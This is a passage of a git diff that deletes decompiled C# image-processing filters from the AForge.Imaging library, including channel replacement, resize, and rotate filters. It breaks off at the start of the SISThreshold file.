(PixelFormat)2498570; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)3424269] = (PixelFormat)1052676; - } - - public ReplaceChannel(short channel, Bitmap channelImage) - : this() - { - Channel = channel; - ChannelImage = channelImage; - } - - public ReplaceChannel(short channel, UnmanagedImage channelImage) - : this() - { - Channel = channel; - UnmanagedChannelImage = channelImage; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_007d: Unknown result type (might be due to invalid IL or missing references) - //IL_0142: Unknown result type (might be due to invalid IL or missing references) - //IL_0147: Unknown result type (might be due to invalid IL or missing references) - //IL_00c4: Unknown result type (might be due to invalid IL or missing references) - //IL_00ed: Unknown result type (might be due to invalid IL or missing references) - //IL_00f2: Unknown result type (might be due to invalid IL or missing references) - //IL_01f4: Unknown result type (might be due to invalid IL or missing references) - //IL_01fb: Invalid comparison between Unknown and I4 - //IL_0150: Unknown result type (might be due to invalid IL or missing references) - //IL_0157: Invalid comparison between Unknown and I4 - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - if (channel == 3 && num != 4 && num != 8) - { - throw new InvalidImagePropertiesException("Can not replace alpha channel of none ARGB image."); - } - int width = image.Width; - int height = image.Height; - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int num4 = image.Stride - rect.Width * num; - BitmapData val = null; - int num5 = 0; - PixelFormat val2 = (PixelFormat)1052676; - byte* ptr; - if (channelImage != null) - { - if (width != ((Image)channelImage).Width || height != ((Image)channelImage).Height) - { - throw new InvalidImagePropertiesException("Channel image size does not match source image size."); - } - val = channelImage.LockBits(new Rectangle(0, 0, width, height), (ImageLockMode)1, ((Image)channelImage).PixelFormat); - ptr = (byte*)val.Scan0.ToPointer(); - num5 = val.Stride; - val2 = val.PixelFormat; - } - else - { - if (width != unmanagedChannelImage.Width || height != unmanagedChannelImage.Height) - { - throw new InvalidImagePropertiesException("Channel image size does not match source image size."); - } - ptr = (byte*)(void*)unmanagedChannelImage.ImageData; - num5 = unmanagedChannelImage.Stride; - val2 = unmanagedChannelImage.PixelFormat; - } - if (num <= 4) - { - if ((int)val2 != 198659) - { - throw new InvalidImagePropertiesException("Channel image's format does not correspond to format of the source image."); - } - int num6 = val.Stride - rect.Width; - byte* ptr2 = (byte*)image.ImageData.ToPointer(); - ptr2 += top * image.Stride + left * num; - ptr += top * num5 + left; - for (int i = top; i < num3; i++) - { - int num7 = left; - while (num7 < num2) - { - ptr2[channel] = *ptr; - num7++; - ptr2 += num; - ptr++; - } - ptr2 += num4; - ptr += num6; - } - } - else - { - if ((int)val2 != 1052676) - { - throw new InvalidImagePropertiesException("Channel image's format does not correspond to format of the source image."); - } - int stride = image.Stride; - byte* ptr3 = (byte*)image.ImageData.ToPointer(); - ptr3 += (nint)left * (nint)num; - ptr += (nint)left * (nint)2; - num /= 2; - for (int j = top; j < num3; j++) - { - ushort* ptr4 = (ushort*)(ptr3 + (nint)j * (nint)stride); - ushort* ptr5 = (ushort*)(ptr + (nint)j * (nint)num5); - int num8 = left; - while (num8 < num2) - { - ptr4[channel] = *ptr5; - num8++; - ptr4 += num; - ptr5++; - } - } - } - if (val != null) - { - channelImage.UnlockBits(val); - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ResizeBicubic.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ResizeBicubic.cs deleted file mode 100644 index 9470ffc..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ResizeBicubic.cs +++ /dev/null @@ -1,139 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class ResizeBicubic : BaseResizeFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public ResizeBicubic(int newWidth, int newHeight) - : base(newWidth, newHeight) - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_000f: Unknown result type (might be due to invalid IL or missing references) - //IL_0019: Invalid comparison between Unknown and I4 - //IL_007d: Unknown result type (might be due to invalid IL or missing references) - //IL_0087: Invalid comparison between Unknown and I4 - int width = sourceData.Width; - int height = sourceData.Height; - int num = (((int)sourceData.PixelFormat == 198659) ? 1 : 3); - int stride = sourceData.Stride; - int num2 = destinationData.Stride - num * newWidth; - double num3 = (double)width / (double)newWidth; - double num4 = (double)height / (double)newHeight; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - int num5 = height - 1; - int num6 = width - 1; - if ((int)destinationData.PixelFormat == 198659) - { - for (int i = 0; i < newHeight; i++) - { - double num7 = (double)i * num4 - 0.5; - int num8 = (int)num7; - double num9 = num7 - (double)num8; - int num10 = 0; - while (num10 < newWidth) - { - double num11 = (double)num10 * num3 - 0.5; - int num12 = (int)num11; - double num13 = num11 - (double)num12; - double num14 = 0.0; - for (int j = -1; j < 3; j++) - { - double num15 = Interpolation.BiCubicKernel(num9 - (double)j); - int num16 = num8 + j; - if (num16 < 0) - { - num16 = 0; - } - if (num16 > num5) - { - num16 = num5; - } - for (int k = -1; k < 3; k++) - { - double num17 = num15 * Interpolation.BiCubicKernel((double)k - num13); - int num18 = num12 + k; - if (num18 < 0) - { - num18 = 0; - } - if (num18 > num6) - { - num18 = num6; - } - num14 += num17 * (double)(int)ptr[num16 * stride + num18]; - } - } - *ptr2 = (byte)System.Math.Max(0.0, System.Math.Min(255.0, num14)); - num10++; - ptr2++; - } - ptr2 += num2; - } - return; - } - for (int l = 0; l < newHeight; l++) - { - double num7 = (double)l * num4 - 0.5; - int num8 = (int)num7; - double num9 = num7 - (double)num8; - int num19 = 0; - while (num19 < newWidth) - { - double num11 = (double)num19 * num3 - 0.5; - int num12 = (int)num11; - double num13 = num11 - (double)num12; - double num14; - double num21; - double num20 = (num14 = (num21 = 0.0)); - for (int m = -1; m < 3; m++) - { - double num15 = Interpolation.BiCubicKernel(num9 - (double)m); - int num16 = num8 + m; - if (num16 < 0) - { - num16 = 0; - } - if (num16 > num5) - { - num16 = num5; - } - for (int n = -1; n < 3; n++) - { - double num17 = num15 * Interpolation.BiCubicKernel((double)n - num13); - int num18 = num12 + n; - if (num18 < 0) - { - num18 = 0; - } - if (num18 > num6) - { - num18 = num6; - } - byte* ptr3 = ptr + (nint)num16 * (nint)stride + (nint)num18 * (nint)3; - num20 += num17 * (double)(int)ptr3[2]; - num14 += num17 * (double)(int)ptr3[1]; - num21 += num17 * (double)(int)(*ptr3); - } - } - ptr2[2] = (byte)System.Math.Max(0.0, System.Math.Min(255.0, num20)); - ptr2[1] = (byte)System.Math.Max(0.0, System.Math.Min(255.0, num14)); - *ptr2 = (byte)System.Math.Max(0.0, System.Math.Min(255.0, num21)); - num19++; - ptr2 += 3; - } - ptr2 += num2; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ResizeBilinear.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ResizeBilinear.cs deleted file mode 100644 index d4c85e0..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ResizeBilinear.cs +++ /dev/null @@ -1,71 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class ResizeBilinear : BaseResizeFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public ResizeBilinear(int newWidth, int newHeight) - : base(newWidth, newHeight) - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_000f: Unknown result type (might be due to invalid IL or missing references) - int width = sourceData.Width; - int height = sourceData.Height; - int num = Image.GetPixelFormatSize(sourceData.PixelFormat) / 8; - int stride = sourceData.Stride; - int num2 = destinationData.Stride - num * newWidth; - double num3 = (double)width / (double)newWidth; - double num4 = (double)height / (double)newHeight; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - int num5 = height - 1; - int num6 = width - 1; - for (int i = 0; i < newHeight; i++) - { - double num7 = (double)i * num4; - int num8 = (int)num7; - int num9 = ((num8 == num5) ? num8 : (num8 + 1)); - double num10 = num7 - (double)num8; - double num11 = 1.0 - num10; - byte* ptr3 = ptr + (nint)num8 * (nint)stride; - byte* ptr4 = ptr + (nint)num9 * (nint)stride; - for (int j = 0; j < newWidth; j++) - { - double num12 = (double)j * num3; - int num13 = (int)num12; - int num14 = ((num13 == num6) ? num13 : (num13 + 1)); - double num15 = num12 - (double)num13; - double num16 = 1.0 - num15; - byte* ptr5 = ptr3 + (nint)num13 * (nint)num; - byte* ptr6 = ptr3 + (nint)num14 * (nint)num; - byte* ptr7 = ptr4 + (nint)num13 * (nint)num; - byte* ptr8 = ptr4 + (nint)num14 * (nint)num; - int num17 = 0; - while (num17 < num) - { - *ptr2 = (byte)(num11 * (num16 * (double)(int)(*ptr5) + num15 * (double)(int)(*ptr6)) + num10 * (num16 * (double)(int)(*ptr7) + num15 * (double)(int)(*ptr8))); - num17++; - ptr2++; - ptr5++; - ptr6++; - ptr7++; - ptr8++; - } - } - ptr2 += num2; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ResizeNearestNeighbor.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ResizeNearestNeighbor.cs deleted file mode 100644 index 6c55f42..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ResizeNearestNeighbor.cs +++ /dev/null @@ -1,55 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class ResizeNearestNeighbor : BaseResizeFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public ResizeNearestNeighbor(int newWidth, int newHeight) - : base(newWidth, newHeight) - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)1052676] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1060876; - formatTranslations[(PixelFormat)3424269] = (PixelFormat)3424269; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_000f: Unknown result type (might be due to invalid IL or missing references) - int width = sourceData.Width; - int height = sourceData.Height; - int num = Image.GetPixelFormatSize(sourceData.PixelFormat) / 8; - int stride = sourceData.Stride; - int stride2 = destinationData.Stride; - double num2 = (double)width / (double)newWidth; - double num3 = (double)height / (double)newHeight; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - for (int i = 0; i < newHeight; i++) - { - byte* ptr3 = ptr2 + (nint)stride2 * (nint)i; - byte* ptr4 = ptr + (nint)stride * (nint)(int)((double)i * num3); - for (int j = 0; j < newWidth; j++) - { - byte* ptr5 = ptr4 + (nint)num * (nint)(int)((double)j * num2); - int num4 = 0; - while (num4 < num) - { - *ptr3 = *ptr5; - num4++; - ptr3++; - ptr5++; - } - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/RotateBicubic.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/RotateBicubic.cs deleted file mode 100644 index a97ab73..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/RotateBicubic.cs +++ /dev/null @@ -1,178 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class RotateBicubic : BaseRotateFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public RotateBicubic(double angle) - : this(angle, keepSize: false) - { - } - - public RotateBicubic(double angle, bool keepSize) - : base(angle, keepSize) - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_009c: Unknown result type (might be due to invalid IL or missing references) - //IL_00a6: Invalid comparison between Unknown and I4 - //IL_0107: Unknown result type (might be due to invalid IL or missing references) - //IL_0111: Invalid comparison between Unknown and I4 - int width = sourceData.Width; - int height = sourceData.Height; - double num = (double)(width - 1) / 2.0; - double num2 = (double)(height - 1) / 2.0; - int width2 = destinationData.Width; - int height2 = destinationData.Height; - double num3 = (double)(width2 - 1) / 2.0; - double num4 = (double)(height2 - 1) / 2.0; - double num5 = (0.0 - angle) * System.Math.PI / 180.0; - double num6 = System.Math.Cos(num5); - double num7 = System.Math.Sin(num5); - int stride = sourceData.Stride; - int num8 = destinationData.Stride - (((int)destinationData.PixelFormat == 198659) ? width2 : (width2 * 3)); - byte r = fillColor.R; - byte g = fillColor.G; - byte b = fillColor.B; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - int num9 = height - 1; - int num10 = width - 1; - double num11; - if ((int)destinationData.PixelFormat == 198659) - { - num11 = 0.0 - num4; - for (int i = 0; i < height2; i++) - { - double num12 = 0.0 - num3; - int num13 = 0; - while (num13 < width2) - { - double num14 = num6 * num12 + num7 * num11 + num; - double num15 = (0.0 - num7) * num12 + num6 * num11 + num2; - int num16 = (int)num14; - int num17 = (int)num15; - if (num16 < 0 || num17 < 0 || num16 >= width || num17 >= height) - { - *ptr2 = g; - } - else - { - double num18 = num14 - (double)num16; - double num19 = num15 - (double)num17; - double num20 = 0.0; - for (int j = -1; j < 3; j++) - { - double num21 = Interpolation.BiCubicKernel(num19 - (double)j); - int num22 = num17 + j; - if (num22 < 0) - { - num22 = 0; - } - if (num22 > num9) - { - num22 = num9; - } - for (int k = -1; k < 3; k++) - { - double num23 = num21 * Interpolation.BiCubicKernel((double)k - num18); - int num24 = num16 + k; - if (num24 < 0) - { - num24 = 0; - } - if (num24 > num10) - { - num24 = num10; - } - num20 += num23 * (double)(int)ptr[num22 * stride + num24]; - } - } - *ptr2 = (byte)System.Math.Max(0.0, System.Math.Min(255.0, num20)); - } - num12 += 1.0; - num13++; - ptr2++; - } - num11 += 1.0; - ptr2 += num8; - } - return; - } - num11 = 0.0 - num4; - for (int l = 0; l < height2; l++) - { - double num12 = 0.0 - num3; - int num25 = 0; - while (num25 < width2) - { - double num14 = num6 * num12 + num7 * num11 + num; - double num15 = (0.0 - num7) * num12 + num6 * num11 + num2; - int num16 = (int)num14; - int num17 = (int)num15; - if (num16 < 0 || num17 < 0 || num16 >= width || num17 >= height) - { - ptr2[2] = r; - ptr2[1] = g; - *ptr2 = b; - } - else - { - double num18 = num14 - (double)(float)num16; - double num19 = num15 - (double)(float)num17; - double num20; - double num27; - double num26 = (num20 = (num27 = 0.0)); - for (int m = -1; m < 3; m++) - { - double num21 = Interpolation.BiCubicKernel(num19 - (double)(float)m); - int num22 = num17 + m; - if (num22 < 0) - { - num22 = 0; - } - if (num22 > num9) - { - num22 = num9; - } - for (int n = -1; n < 3; n++) - { - double num23 = num21 * Interpolation.BiCubicKernel((double)(float)n - num18); - int num24 = num16 + n; - if (num24 < 0) - { - num24 = 0; - } - if (num24 > num10) - { - num24 = num10; - } - byte* ptr3 = ptr + (nint)num22 * (nint)stride + (nint)num24 * (nint)3; - num26 += num23 * (double)(int)ptr3[2]; - num20 += num23 * (double)(int)ptr3[1]; - num27 += num23 * (double)(int)(*ptr3); - } - } - ptr2[2] = (byte)System.Math.Max(0.0, System.Math.Min(255.0, num26)); - ptr2[1] = (byte)System.Math.Max(0.0, System.Math.Min(255.0, num20)); - *ptr2 = (byte)System.Math.Max(0.0, System.Math.Min(255.0, num27)); - } - num12 += 1.0; - num25++; - ptr2 += 3; - } - num11 += 1.0; - ptr2 += num8; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/RotateBilinear.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/RotateBilinear.cs deleted file mode 100644 index d198ede..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/RotateBilinear.cs +++ /dev/null @@ -1,155 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class RotateBilinear : BaseRotateFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public RotateBilinear(double angle) - : this(angle, keepSize: false) - { - } - - public RotateBilinear(double angle, bool keepSize) - : base(angle, keepSize) - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_009c: Unknown result type (might be due to invalid IL or missing references) - //IL_00a6: Invalid comparison between Unknown and I4 - //IL_0107: Unknown result type (might be due to invalid IL or missing references) - //IL_0111: Invalid comparison between Unknown and I4 - int width = sourceData.Width; - int height = sourceData.Height; - double num = (double)(width - 1) / 2.0; - double num2 = (double)(height - 1) / 2.0; - int width2 = destinationData.Width; - int height2 = destinationData.Height; - double num3 = (double)(width2 - 1) / 2.0; - double num4 = (double)(height2 - 1) / 2.0; - double num5 = (0.0 - angle) * System.Math.PI / 180.0; - double num6 = System.Math.Cos(num5); - double num7 = System.Math.Sin(num5); - int stride = sourceData.Stride; - int num8 = destinationData.Stride - (((int)destinationData.PixelFormat == 198659) ? width2 : (width2 * 3)); - byte r = fillColor.R; - byte g = fillColor.G; - byte b = fillColor.B; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - int num9 = height - 1; - int num10 = width - 1; - double num11; - if ((int)destinationData.PixelFormat == 198659) - { - num11 = 0.0 - num4; - for (int i = 0; i < height2; i++) - { - double num12 = num7 * num11 + num; - double num13 = num6 * num11 + num2; - double num14 = 0.0 - num3; - int num15 = 0; - while (num15 < width2) - { - double num16 = num12 + num6 * num14; - double num17 = num13 - num7 * num14; - int num18 = (int)num16; - int num19 = (int)num17; - if (num18 < 0 || num19 < 0 || num18 >= width || num19 >= height) - { - *ptr2 = g; - } - else - { - int num20 = ((num18 == num10) ? num18 : (num18 + 1)); - int num21 = ((num19 == num9) ? num19 : (num19 + 1)); - double num22; - if ((num22 = num16 - (double)num18) < 0.0) - { - num22 = 0.0; - } - double num23 = 1.0 - num22; - double num24; - if ((num24 = num17 - (double)num19) < 0.0) - { - num24 = 0.0; - } - double num25 = 1.0 - num24; - byte* ptr3 = ptr + (nint)num19 * (nint)stride; - byte* ptr4 = ptr + (nint)num21 * (nint)stride; - *ptr2 = (byte)(num25 * (num23 * (double)(int)ptr3[num18] + num22 * (double)(int)ptr3[num20]) + num24 * (num23 * (double)(int)ptr4[num18] + num22 * (double)(int)ptr4[num20])); - } - num14 += 1.0; - num15++; - ptr2++; - } - num11 += 1.0; - ptr2 += num8; - } - return; - } - num11 = 0.0 - num4; - for (int j = 0; j < height2; j++) - { - double num12 = num7 * num11 + num; - double num13 = num6 * num11 + num2; - double num14 = 0.0 - num3; - int num26 = 0; - while (num26 < width2) - { - double num16 = num12 + num6 * num14; - double num17 = num13 - num7 * num14; - int num18 = (int)num16; - int num19 = (int)num17; - if (num18 < 0 || num19 < 0 || num18 >= width || num19 >= height) - { - ptr2[2] = r; - ptr2[1] = g; - *ptr2 = b; - } - else - { - int num20 = ((num18 == num10) ? num18 : (num18 + 1)); - int num21 = ((num19 == num9) ? num19 : (num19 + 1)); - double num22; - if ((num22 = num16 - (double)(float)num18) < 0.0) - { - num22 = 0.0; - } - double num23 = 1.0 - num22; - double num24; - if ((num24 = num17 - (double)(float)num19) < 0.0) - { - num24 = 0.0; - } - double num25 = 1.0 - num24; - byte* ptr4; - byte* ptr3 = (ptr4 = ptr + (nint)num19 * (nint)stride); - ptr3 += (nint)num18 * (nint)3; - ptr4 += (nint)num20 * (nint)3; - byte* ptr6; - byte* ptr5 = (ptr6 = ptr + (nint)num21 * (nint)stride); - ptr5 += (nint)num18 * (nint)3; - ptr6 += (nint)num20 * (nint)3; - ptr2[2] = (byte)(num25 * (num23 * (double)(int)ptr3[2] + num22 * (double)(int)ptr4[2]) + num24 * (num23 * (double)(int)ptr5[2] + num22 * (double)(int)ptr6[2])); - ptr2[1] = (byte)(num25 * (num23 * (double)(int)ptr3[1] + num22 * (double)(int)ptr4[1]) + num24 * (num23 * (double)(int)ptr5[1] + num22 * (double)(int)ptr6[1])); - *ptr2 = (byte)(num25 * (num23 * (double)(int)(*ptr3) + num22 * (double)(int)(*ptr4)) + num24 * (num23 * (double)(int)(*ptr5) + num22 * (double)(int)(*ptr6))); - } - num14 += 1.0; - num26++; - ptr2 += 3; - } - num11 += 1.0; - ptr2 += num8; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/RotateChannels.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/RotateChannels.cs deleted file mode 100644 index 9dd6789..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/RotateChannels.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public sealed class RotateChannels : BaseInPlacePartialFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public RotateChannels() - { - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - int num = (((int)image.PixelFormat == 137224) ? 3 : 4); - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int num4 = image.Stride - rect.Width * num; - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + left * num; - for (int i = top; i < num3; i++) - { - int num5 = left; - while (num5 < num2) - { - byte b = ptr[2]; - ptr[2] = ptr[1]; - ptr[1] = *ptr; - *ptr = b; - num5++; - ptr += num; - } - ptr += num4; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/RotateNearestNeighbor.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/RotateNearestNeighbor.cs deleted file mode 100644 index 75c6a79..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/RotateNearestNeighbor.cs +++ /dev/null @@ -1,213 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class RotateNearestNeighbor : BaseRotateFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public RotateNearestNeighbor(double angle) - : this(angle, keepSize: false) - { - } - - public RotateNearestNeighbor(double angle, bool keepSize) - : base(angle, keepSize) - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)1052676] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1060876; - } - - protected override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - switch (Image.GetPixelFormatSize(sourceData.PixelFormat) / 8) - { - case 1: - case 3: - ProcessFilter8bpc(sourceData, destinationData); - break; - case 2: - case 6: - ProcessFilter16bpc(sourceData, destinationData); - break; - case 4: - case 5: - break; - } - } - - private unsafe void ProcessFilter8bpc(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_009c: Unknown result type (might be due to invalid IL or missing references) - //IL_00a6: Invalid comparison between Unknown and I4 - //IL_00fd: Unknown result type (might be due to invalid IL or missing references) - //IL_0107: Invalid comparison between Unknown and I4 - int width = sourceData.Width; - int height = sourceData.Height; - double num = (double)(width - 1) / 2.0; - double num2 = (double)(height - 1) / 2.0; - int width2 = destinationData.Width; - int height2 = destinationData.Height; - double num3 = (double)(width2 - 1) / 2.0; - double num4 = (double)(height2 - 1) / 2.0; - double num5 = (0.0 - angle) * System.Math.PI / 180.0; - double num6 = System.Math.Cos(num5); - double num7 = System.Math.Sin(num5); - int stride = sourceData.Stride; - int num8 = destinationData.Stride - (((int)destinationData.PixelFormat == 198659) ? width2 : (width2 * 3)); - byte r = fillColor.R; - byte g = fillColor.G; - byte b = fillColor.B; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - double num9; - if ((int)destinationData.PixelFormat == 198659) - { - num9 = 0.0 - num4; - for (int i = 0; i < height2; i++) - { - double num10 = 0.0 - num3; - int num11 = 0; - while (num11 < width2) - { - int num12 = (int)(num6 * num10 + num7 * num9 + num); - int num13 = (int)((0.0 - num7) * num10 + num6 * num9 + num2); - if (num12 < 0 || num13 < 0 || num12 >= width || num13 >= height) - { - *ptr2 = g; - } - else - { - *ptr2 = ptr[num13 * stride + num12]; - } - num10 += 1.0; - num11++; - ptr2++; - } - num9 += 1.0; - ptr2 += num8; - } - return; - } - num9 = 0.0 - num4; - for (int j = 0; j < height2; j++) - { - double num10 = 0.0 - num3; - int num14 = 0; - while (num14 < width2) - { - int num12 = (int)(num6 * num10 + num7 * num9 + num); - int num13 = (int)((0.0 - num7) * num10 + num6 * num9 + num2); - if (num12 < 0 || num13 < 0 || num12 >= width || num13 >= height) - { - ptr2[2] = r; - ptr2[1] = g; - *ptr2 = b; - } - else - { - byte* ptr3 = ptr + (nint)num13 * (nint)stride + (nint)num12 * (nint)3; - ptr2[2] = ptr3[2]; - ptr2[1] = ptr3[1]; - *ptr2 = *ptr3; - } - num10 += 1.0; - num14++; - ptr2 += 3; - } - num9 += 1.0; - ptr2 += num8; - } - } - - private unsafe void ProcessFilter16bpc(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_00e8: Unknown result type (might be due to invalid IL or missing references) - //IL_00f2: Invalid comparison between Unknown and I4 - int width = sourceData.Width; - int height = sourceData.Height; - double num = (double)width / 2.0; - double num2 = (double)height / 2.0; - int width2 = destinationData.Width; - int height2 = destinationData.Height; - double num3 = (double)width2 / 2.0; - double num4 = (double)height2 / 2.0; - double num5 = (0.0 - angle) * System.Math.PI / 180.0; - double num6 = System.Math.Cos(num5); - double num7 = System.Math.Sin(num5); - int stride = sourceData.Stride; - int stride2 = destinationData.Stride; - ushort num8 = (ushort)(fillColor.R << 8); - ushort num9 = (ushort)(fillColor.G << 8); - ushort num10 = (ushort)(fillColor.B << 8); - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - double num11; - if ((int)destinationData.PixelFormat == 1052676) - { - num11 = 0.0 - num4; - for (int i = 0; i < height2; i++) - { - ushort* ptr3 = (ushort*)(ptr2 + (nint)i * (nint)stride2); - double num12 = 0.0 - num3; - int num13 = 0; - while (num13 < width2) - { - int num14 = (int)(num6 * num12 + num7 * num11 + num); - int num15 = (int)((0.0 - num7) * num12 + num6 * num11 + num2); - if (num14 < 0 || num15 < 0 || num14 >= width || num15 >= height) - { - *ptr3 = num9; - } - else - { - ushort* ptr4 = (ushort*)(ptr + (nint)num15 * (nint)stride) + num14; - *ptr3 = *ptr4; - } - num12 += 1.0; - num13++; - ptr3++; - } - num11 += 1.0; - } - return; - } - num11 = 0.0 - num4; - for (int j = 0; j < height2; j++) - { - ushort* ptr5 = (ushort*)(ptr2 + (nint)j * (nint)stride2); - double num12 = 0.0 - num3; - int num16 = 0; - while (num16 < width2) - { - int num14 = (int)(num6 * num12 + num7 * num11 + num); - int num15 = (int)((0.0 - num7) * num12 + num6 * num11 + num2); - if (num14 < 0 || num15 < 0 || num14 >= width || num15 >= height) - { - ptr5[2] = num8; - ptr5[1] = num9; - *ptr5 = num10; - } - else - { - ushort* ptr4 = (ushort*)(ptr + (nint)num15 * (nint)stride + (nint)num14 * (nint)6); - ptr5[2] = ptr4[2]; - ptr5[1] = ptr4[1]; - *ptr5 = *ptr4; - } - num12 += 1.0; - num16++; - ptr5 += 3; - } - num11 += 1.0; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SISThreshold.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SISThreshold.cs deleted file mode 100644 index 2abaf68..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/SISThreshold.cs +++ /dev/null @@ -1,92 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class SISThreshold : BaseInPlacePartialFilter -{ - private Threshold thresholdFilter = new Threshold(); - - private Dictionary 